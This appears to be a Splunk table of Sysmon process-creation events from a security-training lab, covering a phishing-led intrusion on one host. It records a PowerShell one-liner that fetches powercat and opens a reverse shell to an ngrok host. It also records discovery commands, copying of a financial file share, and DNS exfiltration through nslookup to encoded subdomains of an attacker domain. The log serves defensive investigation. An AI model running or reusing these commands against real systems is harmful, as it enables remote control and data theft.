# New Search

```
1  sourcetype=_json datasource=sysmon event.code=1
2  | table timestamp host.name process.name process.command_line process.parent.name
```

Last 24 hours

✓ **64 events** (12/13/25 5:00:00.000 AM to 12/14/25 5:24:15.000 AM)    No Event Sampling

**Statistics (64)**

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 05:03:11.369 | win-3456 | rundll32.exe | C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 | iexplore.exe |
| 12/14/2025 05:02:52.369 | win-3449 | iexplore.exe | "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding | |
| 12/14/2025 04:59:40.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:40.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3454 | AtBroker.exe | atbroker.exe | winlogon.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io | powershell.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:24.369 | win-3450 | nslookup.exe | "C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io | powershell.exe |
| 12/14/2025 04:59:13.369 | win-3458 | sethc.exe | "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent | AtBroker.exe |
| 12/14/2025 04:58:37.369 | win-3450 | net.exe | "C:\Windows\system32\net.exe" use Z: /delete | powershell.exe |
| 12/14/2025 04:58:26.369 | win-3450 | Robocopy.exe | "C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E | powershell.exe |
| 12/14/2025 04:57:39.369 | win-3450 | net.exe | "C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords | powershell.exe |
| 12/14/2025 04:57:39.369 | win-3459 | sethc.exe | "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent | AtBroker.exe |
| 12/14/2025 04:56:55.369 | win-3451 | taskhostw.exe | taskhostw.exe KEYROAMING | svchost.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:56:25.369 | win-3459 | LogonUI.exe | "LogonUI.exe" /flags:0x0 /state0:0xb5731855 /state1:0x41c64e6d | winlogon.exe |
| 12/14/2025 04:55:33.369 | win-3457 | OUTLOOK.EXE | "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" | explorer.exe |
| 12/14/2025 04:55:18.369 | win-3450 | net1.exe | C:\Windows\system32\net1 localgroup | net.exe |
| 12/14/2025 04:55:18.369 | win-3450 | net.exe | "C:\Windows\system32\net.exe" localgroup | powershell.exe |
| 12/14/2025 04:55:11.369 | win-3450 | net.exe | "C:\Windows\system32\net.exe" user | powershell.exe |
| 12/14/2025 04:55:11.369 | win-3450 | net1.exe | C:\Windows\system32\net1 user | net.exe |
| 12/14/2025 04:55:05.369 | win-3450 | whoami.exe | "C:\Windows\system32\whoami.exe" /priv | powershell.exe |
| 12/14/2025 04:54:57.369 | win-3450 | whoami.exe | "C:\Windows\system32\whoami.exe" | powershell.exe |
| 12/14/2025 04:54:49.369 | win-3450 | systeminfo.exe | "C:\Windows\system32\systeminfo.exe" | powershell.exe |
| 12/14/2025 04:54:40.369 | win-3455 | MoUsoCoreWorker.exe | C:\Windows\System32\mousocoreworker.exe -Embedding | |
| 12/14/2025 04:54:33.369 | win-3450 | powershell.exe | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell" | explorer.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:53:45.369 | win-3460 | taskhostw.exe | taskhostw.exe KEYROAMING | svchost.exe |
| 12/14/2025 04:53:37.369 | win-3449 | AtBroker.exe | atbroker.exe | winlogon.exe |
| 12/14/2025 04:53:13.369 | win-3461 | LogonUI.exe | "LogonUI.exe" /flags:0x0 /state0:0xb572b855 /state1:0x41c64e6d | winlogon.exe |
| 12/14/2025 04:53:10.369 | win-3454 | rundll32.exe | C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 | iexplore.exe |
| 12/14/2025 04:53:01.369 | win-3458 | AtBroker.exe | atbroker.exe | winlogon.exe |
| 12/14/2025 04:52:43.369 | win-3449 | TrustedInstaller.exe | C:\Windows\servicing\TrustedInstaller.exe | services.exe |
| 12/14/2025 04:52:43.369 | win-3456 | taskhostw.exe | taskhostw.exe NGCKeyPregen | svchost.exe |
| 12/14/2025 04:52:40.369 | win-3453 | OUTLOOK.EXE | "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" | explorer.exe |
| 12/14/2025 04:50:48.369 | win-3457 | rundll32.exe | C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8388616 WinX:0 WinY:0 IEFrame:0000000000000000 | iexplore.exe |
| 12/14/2025 04:50:42.369 | win-3457 | sethc.exe | "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent | AtBroker.exe |
| 12/14/2025 04:47:45.369 | win-3459 | svchost.exe | C:\Windows\system32\svchost.exe -k wsappx -p | services.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:45:07.369 | win-3456 | LogonUI.exe | "LogonUI.exe" /flags:0x0 /state0:0xb572b855 /state1:0x41c64e6d | winlogon.exe |
| 12/14/2025 04:44:45.369 | win-3458 | MoUsoCoreWorker.exe | C:\Windows\System32\mousocoreworker.exe -Embedding | |
| 12/14/2025 04:44:18.369 | win-3450 | OUTLOOK.EXE | "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\UP4KOJQB\Important: Pending Invioce!.eml" | OUTLOOK.EXE |
| 12/14/2025 04:42:15.369 | win-3461 | OUTLOOK.EXE | "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" | explorer.exe |
| 12/14/2025 04:42:12.369 | win-3455 | WUDFHost.exe | "C:\Windows\System32\WUDFHost.exe" -HostGUID:{24b7eef1-ada5-453b-a5a6-93007dca6fbc} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fd5c32fb-5bb6-4693-82a7-6cec85d58bc4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3ba97dd6-3700-4e8a-8921-1e24128d9c7d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2a6ae716-7c20-4d0c-97b6-bb3346775edf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-54470b14-46b9-4c56-abe1-d9b12ef13c5f -LifetimeId:39d16a20-5092-495b-95b9-c7e0ec216f0f -DeviceGroupId: -HostArg:0 | services.exe |
| 12/14/2025 04:40:12.369 | win-3461 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 | iexplore.exe |
| 12/14/2025 04:39:20.369 | win-3452 | TSTheme.exe | C:\Windows\system32\TSTheme.exe -Embedding | |
| 12/14/2025 04:38:56.369 | win-3453 | rdpclip.exe | rdpclip | svchost.exe |
| 12/14/2025 04:38:08.369 | win-3455 | WUDFHost.exe | "C:\Windows\System32\WUDFHost.exe" -HostGUID:{eaa41944-3811-4056-972f-add85d3bfc01} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fd5c32fb-5bb6-4693-82a7-6cec85d58bc4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3ba97dd6-3700-4e8a-8921-1e24128d9c7d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2a6ae716-7c20-4d0c-97b6-bb3346775edf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-54470b14-46b9-4c56-abe1-d9b12ef13c5f -LifetimeId:39d16a20-5092-495b-95b9-c7e0ec216f0f -DeviceGroupId: -HostArg:0 | services.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:36:29.369 | win-3451 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2832 CREDAT:9474 /prefetch:2 | iexplore.exe |
| 12/14/2025 04:36:16.369 | win-3451 | taskhostw.exe | taskhostw.exe KEYROAMING | svchost.exe |
| 12/14/2025 04:36:05.369 | win-3456 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 | iexplore.exe |
| 12/14/2025 04:35:32.369 | win-3460 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2832 CREDAT:9474 /prefetch:2 | iexplore.exe |
| 12/14/2025 04:35:26.369 | win-3450 | rdpclip.exe | rdpclip | svchost.exe |
| 12/14/2025 04:35:19.369 | win-3461 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 | iexplore.exe |
| 12/14/2025 04:28:54.369 | win-3451 | taskhostw.exe | taskhostw.exe KEYROAMING | svchost.exe |
| 12/14/2025 04:28:43.369 | win-3450 | rundll32.exe | C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8388616 WinX:0 WinY:0 IEFrame:0000000000000000 | iexplore.exe |
| 12/14/2025 04:28:03.369 | win-3460 | MoUsoCoreWorker.exe | C:\Windows\System32\mousocoreworker.exe -Embedding | |
| 12/14/2025 04:27:34.369 | win-3453 | AtBroker.exe | atbroker.exe | winlogon.exe |
| 12/14/2025 04:26:49.369 | win-3453 | iexplore.exe | "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 | iexplore.exe |

| timestamp | host.name | process.name | process.command_line | process.parent.name |
|---|---|---|---|---|
| 12/14/2025 04:26:30.369 | win-3459 | TrustedInstaller.exe | C:\Windows\servicing\TrustedInstaller.exe | services.exe |
| 12/14/2025 04:24:50.369 | win-3455 | rundll32.exe | C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 | iexplore.exe |
| 12/14/2025 04:24:13.369 | win-3459 | TSTheme.exe | C:\Windows\system32\TSTheme.exe -Embedding | |